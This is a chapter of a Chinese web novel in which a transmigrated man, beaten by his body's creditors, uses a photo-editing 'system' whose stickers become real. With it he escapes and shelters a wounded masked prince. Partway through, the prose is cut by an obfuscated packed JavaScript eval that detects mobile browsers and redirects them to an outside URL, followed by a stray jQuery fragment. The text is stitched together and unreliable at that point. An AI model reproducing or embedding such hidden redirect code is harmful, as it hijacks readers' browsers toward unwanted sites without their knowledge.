百姓不敢冲撞贵人,人群一下散了。
柳昭隐被打得狠了,一时直不起身子,眼睛也被打肿了,根本看不清远处的马车。
他只看到一队人步伐整齐,衣着统一,便以为是巡逻的官兵,有救了,柳昭隐心想。
江柏麟用纤长的手指撩起车幔,看着躺在地上的人。
唐典:“柏麟,你别管他了,你忘了?之前你总是偷着接济他,结果被你爹发现,你爹罚你跪在祠堂里一整晚呢。”
唐典是遗珍拍卖行的少东家,自幼与江柏麟交好。
江柏麟眉头微微蹙着,对人间疾苦的不忍和冷漠同时出现在他的脸上:“可他毕竟是我的哥哥,万一真叫人打死了……”
唐典:“伯母多次劝他,他却屡教不改,再不把他逐出家门,整个江家都得被他拖累。再说了,把他逐出家门的是你爹,又不是你,你别有这么大的心理负担。”
唐典口中的伯母,指的是江昭隐的继母魏绾绾,也就是江柏麟的生母。
魏氏处处待江昭隐极好,吃穿用度比自己的亲儿子还用心,江柏麟曾经还有点嫉妒。
魏绾绾经常劝告江昭隐,一句是劝,两句也是劝,在旁人看来,总归是劝了,然后慈母一般地给他很多银子,慈母怎么舍得儿子受委屈?
在江丰德眼里,便是他的大儿子屡教不改,直到去年,江昭隐被逐出家门,起初,江柏麟时常私下接济他,因此被父亲责罚也确有其事。
作戏嘛,他不在乎那点银子,满京城谁不说一句江二公子心地善良、手足情深?还淡泊名利,接济兄长一事从不大肆宣扬。
如今,不是他的心变硬了,实在是父亲严厉……
江柏麟为难道:“爹爹确实明令禁止我与哥哥来往。”
听说江昭隐经常被打,很长时间都不敢出门,今日难不成是饿得急了,出来与乞丐抢食儿了?
江柏麟心事重重的,唐典瞧着实在心疼,都怪江昭隐这个赌鬼!蠹虫!白眼狼!吸血鬼!唐典把他能想到的所有骂人的词都骂了一遍,也不管合不合适。
唐典摆弄着刚采回来的新鲜的桃花,宽慰道:“满京城的人全都离他远远的,只有你心软,你是一片好心,可就怕有不知情的人,因为他而看轻了你,你家的生意以后可全得靠你,犯不着为了他,而影响整个江家。”
江柏麟:……
江昭隐为了赌博,还借了高利贷,那些人追债的手段可算不上温柔,曾经,江昭隐的吃穿用度可比他要奢华多了,如今穷得叮当响,还人人喊打,江昭隐应该坚持不了多久了吧。
人啊,真像树上的果子,只要些许力气,就能控制他生长的方向,江柏麟轻轻地拨弄着花枝,心想,按照母亲的法子,果真能让江昭隐自取灭亡,江家的家产和名望,他们母子全都要。
江柏麟不舍地放下帘子,无奈道:“好,就听你的吧。”
华丽的马车带着两位锦衣玉冠的公子,没有呵斥闹事的人,直往京城方向而去。
柳昭隐捂着肚子,眼睛勉强睁开一条缝,眼巴巴地看着马车远去,看来,原身已经恶劣到连官兵都不想管他了。
债主却更生气了,江昭隐当街被打,江家二公子遇到过好几次了,却没有一次替他出头,可见江府当真与江昭隐断的一干二净。
也是,不断干净,难道等着江昭隐把家里的宅子、铺子、田地全都赌输出去?
这件事满京城的人都知道,江府还特地派人告知了邻里,不许借钱给江昭隐。
可江昭隐说他改邪归正了,想好好地做生意,说有江府作保,生意定能大赚一笔。
大饼画得又香又圆,他们就信了,谁知江昭隐根本没做生意,他是把钱拿去赌了。
因为事先告知过,所以他们的损失,江府不认,债主一看江府的马车走了,怒气就又上头了,外层的人恨不能挤进去,也打他两拳出出气。
柳昭隐肿着脸,支支吾吾道:“别打、别打了……”
这样下去不行啊,柳昭隐心想,这具身体不抗打。
幸好事先研究过系统,柳昭隐打开贴纸功能,划过唯物区,在唯心区里找到传送门,心里想着家门口的小巷子,神不知鬼不觉地消失在了拳打脚踢之下。
债主们还以为他是从哪个缝隙里钻出去了呢。
图图大师是一款修图软件,拼图、滤镜、美容、贴纸、文字等功能,十分齐全,管理局想把这些功能实质化。
也就是说,图图大师里的下雨贴纸真的可以下一场雨,消除笔可以真的消除人们脸上的痣或者雀斑,当然了,所有的操作都可以撤销。
最让柳昭隐感兴趣的是贴纸当中的唯心区,里面全是修仙小说里才有的东西,比如方才的传送门,贴纸上画着各种功能的符,所以能够实现相应的操作。
唯心区是图图大师的高级功能,需要大量的积分并通过严格的道德考核以后才能开启,不过现在嘛,系统全力辅助柳昭隐还债,所有的高级功能全部向柳昭隐开放。
柳昭隐感叹道:“有了传送门,就没有本大师逃脱不了时候,诶?怎么突然下这么大的雨?”
方才明明晴空万里,而此时,浓浓的黑云仿佛天要塌下来一般,豆大的雨珠一瞬间就把柳昭隐的衣裳浇透了。
光线暗的连路都看不清,柳昭隐记得后门就在这个位置,如今怎么找不见了?
柳昭隐顺着墙根找后门,后门没找到,反而在一堆杂物后面发现一个黑衣人,黑衣人戴着面具,手里紧紧地捏着一把匕首,眼里满是杀意。
是债主吗?打他一顿还不够,已经气到要杀掉他了?一身黑衣?戴着面具?装备很齐全啊,完了完了完了。
雨下的太大,柳昭隐不得不用喊的:“大哥你别冲动啊,钱我会还的!我已经想到赚钱的办法了!”
黑衣人迟迟没有动静,柳昭隐这才发现对方受了很严重的伤,肚子上的伤口尤其长,血水混着雨水止不住地流。
死在他家门口不太好吧?柳昭隐蹲下来,因为脸被打肿了,所以说话有些吃力:“喂,大兄弟,你没事吧?”
*
七天前,皇商张瑾死在了祖籍青州,五皇子萧鹤川奉皇帝和颖妃之命,前来青州调查此案,颖妃是张瑾的妹妹。
张瑾的案子还在查,只是萧鹤川另有要事,必须去一趟远山县,好在他可以分.身,分.身前往远山县,主身仍旧在青州的府衙,没有人会发现。
结果事情没有查到,反而遇到了一群难缠的杀手,萧鹤川身受重伤,不得不躲起来。
他会分.身的秘密,不能让任何人知道,在远山县调查的事情,也不能让任何人知道。
这个猪头是谁?认识他吗?一个人不可能同时出现在两个地方,即便不认识当朝的五皇子,在青州见过他也不行。
萧鹤川迅速地思考着,但凡有一丁点被认出来的可能,他都必须杀了这个猪头。
可惜债主们下手太狠,柳昭隐鼻青脸肿的,完全看不出他原本的模样,萧鹤川觉得灭口最为保险。
巷子外面传来一阵犬吠,听声音,必定是几头猛犬。
柳昭隐懊恼道:“不至于吧,追个债,有必要派出汪汪队吗?还下着倾盆大雨。”
萧鹤川:……
突然下雨?追债的?
柳昭隐:“人不怕感冒,狗狗也不怕吗?真是的,一点也不爱护小动物,强烈地谴责这帮人!”
柳昭隐一心认为外面的人是追他的,从而忽略了萧鹤川捏紧匕首的手和杀意爆表的眼睛。
说话间,一群人高马大的汉子牵着五头凶神恶煞的獒犬,地动山摇般地出现了。
吠声震耳欲聋,涎水从锋利的犬齿间流出,通红的眼睛里写着:猎杀时间到。
小山一般的块头吨吨吨地冲了过来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318146|167345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好可怕,柳昭隐心想,这具瘦骨嶙峋的身体都不够其中一只塞牙缝。
人家躲得好好的,如果因为他而被发现,再受了惊吓一命呜呼,多不好啊,柳昭隐从天上抠图了一朵黑云,粘贴在黑衣人的脑袋上,避免他看到自己的神通,再次打开传送门,心里想着自己的卧房。
被围攻时,柳昭隐一时情急,没能考虑周全,此时冷静了些,便想试试看传送门能不能将人传送到密闭的空间里,比如卧房。
他的卧房里只有一张床,柳昭隐的印象非常深刻,绝对不可能传送到别人的卧房里面去,眨眼的功夫,柳昭隐便拖着黑衣人回到了房间。
风雨太大,柳昭隐连忙去关门窗,却发现天突然晴了,他疑惑地看着天:“变得这么快?”
万里无云,春光明媚,天空跟柳昭隐在大街上被打的时候一样晴朗。
柳昭隐念了一声奇怪,连忙去检查黑衣人的伤,对方伤势过重,已经昏了过去。
又冲动了,柳昭隐心想,死在家门外不合适,死在家里更不合适,早知道天这么快就晴了,他就不把人拖回来了。
柳昭隐取出消除笔,一点一点消除着黑衣人的伤口,看着伤口消除以后健壮结实的胸膛,柳昭隐又全部撤销了。
一身黑,戴面具,身受重伤,这样的人不是大反派,就是大反派的敌人,总之不可能是寻常百姓,柳昭隐只想安安分分地赚钱,不想卷入别人的是非,所以还是少暴露他的神通为妙。
见死不救,柳昭隐做不到,救了再扔出去更做不到,不如就让黑衣人慢慢地养伤,他也有时间可以观察一下对方。
柳昭隐用系统里的伤药给萧鹤川处理好伤口,医药不是图图大师的功能,是系统给任务者提供的基础保障。
末了,柳昭隐又使劲摁了一下萧鹤川的伤,确定他没有任何反应,才摘下萧鹤川的面具。
模样不错,就是眼神太凶了,柳昭隐又把面具给他戴上,忙完这一切,肚子里的痛感再次袭来,他必须得吃点东西了。
可惜这么大的宅子,竟然没有一口吃的,也没有一枚铜钱,就连桌椅板凳一应陈设都被原身卖了,只剩这张床。
萧鹤川怀里的钱袋就那样鼓鼓囊囊的,明目张胆的,震耳欲聋地诱惑着柳昭隐:“来啊大王,快来抓我呀大王~”
柳昭隐一把握住萧鹤川的手:“兄弟!江湖救急!这钱我会还的,不说话就是答应了,感恩!比心!”
有了第一次出门的惨痛教训,柳昭隐决定好好地伪装一番,图图大师的贴纸素材非常丰富,从树叶裙到龙袍,从石刀到激光炮,应有尽有。
柳昭隐是真的怕了,所以方方面面都要和原身不一样,他选了一身粉色的中衣,搭配了一件蓝色的外袍,和原身中规中矩的穿衣风格很不同。
发型也得变,柳昭隐从美发区选了一款长长的低扎麻花辫,再一点自己的脑袋,这款发型就长在了他的头上。
柳昭隐是在替原身还债,为了避免柳昭隐利用图图大师改头换面以后逃债,在还清债务以前,柳昭隐不能改变原身的相貌和身形特征,所以他选了一款非常华丽的面具。
前门的烂白菜和臭鸡蛋还没有收拾,后门还有凶神恶煞的獒犬,柳昭隐只好把梯子贴纸放大,翻墙出去了。
经过一番伪装,柳昭隐果然没有被认出,甚至因为明媚的穿搭和漂亮的面具,收获了一些善意的目光。
考察市场的时候,柳昭隐就留意过,张记的包子个儿大还便宜,至于口味,已经不是柳昭隐要考虑的了。
想起家里还有一位伤员,柳昭隐便又买了些米面,可以做些清淡的饮食,又去水粉铺子买了一盒面霜,柳昭隐便急匆匆地回去了。
谁料柳昭隐一进房门,就被埋伏在门后的萧鹤川死死地擒住。
萧鹤川用匕首抵着柳昭隐的脖子,强忍着伤口裂开的疼痛,说:“你就是那个猪妖?”